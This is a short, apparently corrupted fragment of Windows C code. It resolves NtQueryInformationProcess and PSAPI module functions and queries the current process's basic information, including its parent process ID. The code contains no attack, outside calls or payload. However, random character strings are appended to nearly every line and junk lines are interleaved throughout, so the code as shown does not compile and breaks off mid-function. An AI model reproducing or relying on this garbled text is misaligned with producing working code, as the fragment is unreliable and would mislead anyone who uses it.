ULONG UniqueProcessId; ZO}Og&%
ULONG InheritedFromUniqueProcessId; $|4C]Me (
} PROCESS_BASIC_INFORMATION; l?Y^3x}j
`sxfj)s
PROCNTQSIP NtQueryInformationProcess; uFd$*`jS
bm588UQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +Qs]8*^?;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >%JPgr/
8
NzRvb j]
HANDLE hProcess; jXcJ/g(X3
PROCESS_BASIC_INFORMATION pbi; )n/%P4l
QaX.Av
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lG*Rw-?a
if(NULL == hInst ) return 0; 0MQ= Rt
#F*|@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o3ZN0j69|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZTC>Ufu2!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vs>Pv$kW
w7nt $L5
if (!NtQueryInformationProcess) return 0; #XV=,81w
Er~ 17$b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8WP>u8&
if(!hProcess) return 0; $o6/dEKQ
Ur j*V0^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N,ht<